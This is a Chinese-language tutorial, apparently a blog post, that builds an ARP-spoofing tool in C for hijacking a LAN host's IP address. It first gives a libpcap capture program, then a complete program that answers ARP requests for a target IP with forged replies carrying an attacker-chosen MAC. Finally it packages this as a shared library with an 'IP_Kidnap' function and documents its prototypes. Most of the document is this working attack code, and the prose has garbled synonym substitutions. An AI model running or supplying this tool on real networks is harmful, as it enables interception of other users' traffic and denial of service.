通过C语言实现基于ARP的局域网IP挟制
副标题#e#
阅读这篇文章之前,请确认已经熟悉ARP报文伪造的要领,可参考《ARP数据包伪造》。


请看下图,这是全篇文章的鸟瞰:


#p#副标题#e#
要想实现上图的事情流程,必需实现两个模块:
自由的伪造ARP报文
抓取并阐明所有流经网卡的数据包

从上图中可以看出,我们可以通过BPF可能DLPI层实现数据包的抓取阐明,而tcpdump的根本——libpcap库,正是对BPF层的二次封装实现的C库,我们将通过它来实现数据包的抓取阐明。
关于libpcap的基本利用,请参考这篇文章《libpcap利用》。
下面给出一个简朴的libpcap过滤抓包的措施:
1 #include <pcap.h>
2 #include <time.h>
3 #include <stdlib.h>
4 #include <stdio.h>
5
6 unsigned char glTargetIP[4]={192,168,1,99};
7 char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast ";
8 unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };
9 char * glNICStr="eth2";
10
11 void getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)
12 {
13 int * id = (int *)arg;
14 unsigned char * src_ip =glTargetIP;
15 unsigned char * src_mac=glRetargetMac;
16 unsigned char * dst_ip =packet+28;
17 unsigned char * dst_mac=packet+22;
18
19 printf("id: %d\n", ++(*id));
20 printf("Packet length: %d\n", pkthdr->len);
21 printf("Number of bytes: %d\n", pkthdr->caplen);
22 printf("Recieved time: %s", ctime((const time_t *)&pkthdr->ts.tv_sec));
23
24 int i;
25 for(i=0; i<pkthdr->len; ++i)
26 {
27 printf(" %02x", packet[i]);
28 if( (i + 1) % 16 == 0 )
29 {
30 printf("\n");
31 }
32 }
33
34 printf("\n\n");
35 }
36
37 int main ()
38 {
39 char errBuf[PCAP_ERRBUF_SIZE], * devStr;
40 struct bpf_program filter;
41
42 /* get a device */
43 devStr = pcap_lookupdev(errBuf);
44
45 if(devStr)
46 {
47 printf("success: device: %s\n", devStr);
48 }
49 else
50 {
51 printf("error: %s\n", errBuf);
52 exit(1);
53 }
54
55 /* open a device, wait until a packet arrives */
56 pcap_t * device = pcap_open_live(glNICStr, 65535, 1, 0, errBuf);
57
58 if(!device)
59 {
60 printf("error: pcap_open_live(): %s\n", errBuf);
61 exit(1);
62 }
63 /* set filter */
64 pcap_compile( device,&filter,glBpfCmd,1,0 );
65 pcap_setfilter(device ,&filter );
66 /* wait loop forever */
67 int id = 0;
68 pcap_loop(device, -1, getPacket, (u_char*)&id);
69
70 pcap_close(device);
71
72 return 0;
73 }
gcc name.c -lpcap -o name
团结ARP报文伪造模块,下面给出完整实现代码:
#include <pcap.h>
#include <time.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <libnet.h>
#define MAC_ADDR_LEN 6
#define IP_ADDR_LEN 4
unsigned char glTargetIP[4]={192,168,1,99};
char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast ";
unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };
char * glNICStr="eth2";
int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,
unsigned char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes )
{
static char padPtr[18];
libnet_t *net_t = NULL;
char err_buf[LIBNET_ERRBUF_SIZE];
libnet_ptag_t p_tag;
unsigned int i=0;
printf("the src_ip_str is ,uint32 src_ip is %d\n",src_ip);
printf("the dst_ip_str is ,uint32 dst_ip is %d\n",dst_ip);
net_t = libnet_init(LIBNET_LINK_ADV, dev, err_buf);
if(net_t == NULL)
{
printf("libnet_init error\n");
return 2;
}
p_tag = libnet_build_arp(
ARPHRD_ETHER,//hardware type ethernet
ETHERTYPE_IP,//protocol type
MAC_ADDR_LEN,//mac length
IP_ADDR_LEN,//protocol length
arpOp,//op type
(u_int8_t *)src_mac,//source mac addr
(u_int8_t *)src_ip,//source ip addr
(u_int8_t *)dst_mac,//dest mac addr
(u_int8_t *)dst_ip,//dest ip addr
padPtr,//payload
18,//payload length
net_t,//libnet context
0//0 stands to build a new one
);
if(-1 == p_tag)
{
printf("libnet_build_arp error\n");
libnet_destroy(net_t);
return 3;
}
p_tag = libnet_build_ethernet(//create ethernet header
(u_int8_t *)dst_mac,//dest mac addr
(u_int8_t *)src_mac,//source mac addr
ETHERTYPE_ARP,//protocol type
padPtr,//payload
0,//payload length
net_t,//libnet context
0//0 to build a new one
);
if(-1 == p_tag)
{
printf("libnet_build_ethernet error!\n");
libnet_destroy(net_t);
return 4;
}
int res;
i=0;
for(;i<sendTimes;i++)
if(-1 == (res = libnet_write(net_t)))
{
printf("libnet_write error!\n");
libnet_destroy(net_t);
return 5;
}
libnet_destroy(net_t);
return 0;
FAIL:
libnet_destroy(net_t);
return 6;
}
void getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)
{
int * id = (int *)arg;
unsigned char * src_ip =glTargetIP;
unsigned char * src_mac=glRetargetMac;
unsigned char * dst_ip =packet+28;
unsigned char * dst_mac=packet+22;
ForgeAndSendArp(glNICStr,src_mac,dst_mac,src_ip,dst_ip,ARPOP_REPLY,1);
printf("id: %d\n", ++(*id));
printf("Packet length: %d\n", pkthdr->len);
printf("Number of bytes: %d\n", pkthdr->caplen);
printf("Recieved time: %s", ctime((const time_t *)&pkthdr->ts.tv_sec));
int i;
for(i=0; i<pkthdr->len; ++i)
{
printf(" %02x", packet[i]);
if( (i + 1) % 16 == 0 )
{
printf("\n");
}
}
printf("\n\n");
}
int main ()
{
char errBuf[PCAP_ERRBUF_SIZE], * devStr;
struct bpf_program filter;
/* get a device */
devStr = pcap_lookupdev(errBuf);
if(devStr)
{
printf("success: device: %s\n", devStr);
}
else
{
printf("error: %s\n", errBuf);
exit(1);
}
/* open a device, wait until a packet arrives */
pcap_t * device = pcap_open_live(glNICStr, 65535, 1, 0, errBuf);
if(!device)
{
printf("error: pcap_open_live(): %s\n", errBuf);
exit(1);
}
/* set filter */
pcap_compile( device,&filter,glBpfCmd,1,0 );
pcap_setfilter(device ,&filter );
/* wait loop forever */
int id = 0;
pcap_loop(device, -1, getPacket, (u_char*)&id);
pcap_close(device);
return 0;
}
这个东西的验证功效已经在文章鸟瞰图中给出。
#p#分页标题#e#
下面,我们将这段代码封装成为一个共享库,以供其他措施挪用。
// # gcc name.c -lnet -lpcap -shared -fPIC -o name.so
#include <pcap.h>
#include <time.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <libnet.h>
#define MAC_ADDR_LEN 6
#define IP_ADDR_LEN 4
static unsigned char * glTargetIP;
static char * glBpfCmd;
static unsigned char * glRetargetMac;
static char * glListenNICStr;
static char * glSendNICStr;
int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,
unsigned char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes )
{
static char padPtr[18];
libnet_t *net_t = NULL;
char err_buf[LIBNET_ERRBUF_SIZE];
libnet_ptag_t p_tag;
unsigned int i=0;
printf("the src_ip_str is ,uint32 src_ip is %d\n",src_ip);
printf("the dst_ip_str is ,uint32 dst_ip is %d\n",dst_ip);
net_t = libnet_init(LIBNET_LINK_ADV, dev, err_buf);
if(net_t == NULL)
{
printf("libnet_init error\n");
return 2;
}
p_tag = libnet_build_arp(
ARPHRD_ETHER,//hardware type ethernet
ETHERTYPE_IP,//protocol type
MAC_ADDR_LEN,//mac length
IP_ADDR_LEN,//protocol length
arpOp,//op type
(u_int8_t *)src_mac,//source mac addr
(u_int8_t *)src_ip,//source ip addr
(u_int8_t *)dst_mac,//dest mac addr
(u_int8_t *)dst_ip,//dest ip addr
padPtr,//payload
18,//payload length
net_t,//libnet context
0//0 stands to build a new one
);
if(-1 == p_tag)
{
printf("libnet_build_arp error\n");
libnet_destroy(net_t);
return 3;
}
p_tag = libnet_build_ethernet(//create ethernet header
(u_int8_t *)dst_mac,//dest mac addr
(u_int8_t *)src_mac,//source mac addr
ETHERTYPE_ARP,//protocol type
padPtr,//payload
0,//payload length
net_t,//libnet context
0//0 to build a new one
);
if(-1 == p_tag)
{
printf("libnet_build_ethernet error!\n");
libnet_destroy(net_t);
return 4;
}
int res;
i=0;
for(;i<sendTimes;i++)
if(-1 == (res = libnet_write(net_t)))
{
printf("libnet_write error!\n");
libnet_destroy(net_t);
return 5;
}
libnet_destroy(net_t);
return 0;
FAIL:
libnet_destroy(net_t);
return 6;
}
void static getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)
{
int * id = (int *)arg;
unsigned char * src_ip =glTargetIP;
unsigned char * src_mac=glRetargetMac;
unsigned char * dst_ip =packet+28;
unsigned char * dst_mac=packet+22;
ForgeAndSendArp(glSendNICStr,src_mac,dst_mac,src_ip,dst_ip,ARPOP_REPLY,1);
printf("id: %d\n", ++(*id));
printf("Packet length: %d\n", pkthdr->len);
printf("Number of bytes: %d\n", pkthdr->caplen);
printf("Recieved time: %s", ctime((const time_t *)&pkthdr->ts.tv_sec));
int i;
for(i=0; i<pkthdr->len; ++i)
{
printf(" %02x", packet[i]);
if( (i + 1) % 16 == 0 )
{
printf("\n");
}
}
printf("\n\n");
}
/* args example
static unsigned char glTargetIP[4]={192,168,1,99};
static char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast ";
static unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };
static char * glListenNICStr="eth2";
static char * glSendNICStr="eth2";
*/
int IP_Kidnap ( unsigned char * TargetIP,char * BpfCmd,
unsigned char * RetargetMac,char * sendNICStr ,char * listenNICStr )
{
char errBuf[PCAP_ERRBUF_SIZE], * devStr;
struct bpf_program filter;
glTargetIP=TargetIP;
glBpfCmd=BpfCmd;
glRetargetMac=RetargetMac;
glSendNICStr=sendNICStr;
glListenNICStr=listenNICStr;
/* get a device */
devStr = pcap_lookupdev(errBuf);
if(devStr)
{
printf("success: device: %s\n", devStr);
}
else
{
printf("error: %s\n", errBuf);
exit(1);
}
/* open a device, wait until a packet arrives */
pcap_t * device = pcap_open_live(glListenNICStr, 65535, 1, 0, errBuf);
if(!device)
{
printf("error: pcap_open_live(): %s\n", errBuf);
exit(1);
}
/* set filter */
pcap_compile( device,&filter,glBpfCmd,1,0 );
pcap_setfilter(device ,&filter );
/* wait loop forever */
int id = 0;
pcap_loop(device, -1, getPacket, (u_char*)&id);
pcap_close(device);
return 0;
}
编译后的功效:
#p#分页标题#e#
函数原型:
int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,
unsigned char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes )
/*
dev : pointer to nic name, "eth0" for example.
src_mac : pointer to uchar array[6],like'unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };'
dst_mac : similar as src_mac
src_ip : pointer to uchar array[4],like'unsigned char glTargetIP[4]={192,168,1,99};'
dst_ip : similar as src_ip
arpOp : ARPOP_REQUEST for 1,ARPOP_REPLY for 2,i.e.
sendTimes : how many times this packet you want to send
*/
int IP_Kidnap ( unsigned char * TargetIP,char * BpfCmd,
unsigned char * RetargetMac ,char * listenNICStr ,char * sendNICStr )
/*
TargetIP: the IP you want kidnap, like ' unsigned char TargetIP[4]={192,168,1,99}; '
BpfCmd : bpf filter cmd,like 'char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast ";'
RetargetMac: which mac addr you want to retarget, like ' unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };'
ListenNICStr: which nic you want listen,like ' char * glListenNICStr="eth2";'
SendNICStr : which nic you want the forged-packet send out,like ' char * glSendNICStr="eth2";'
*/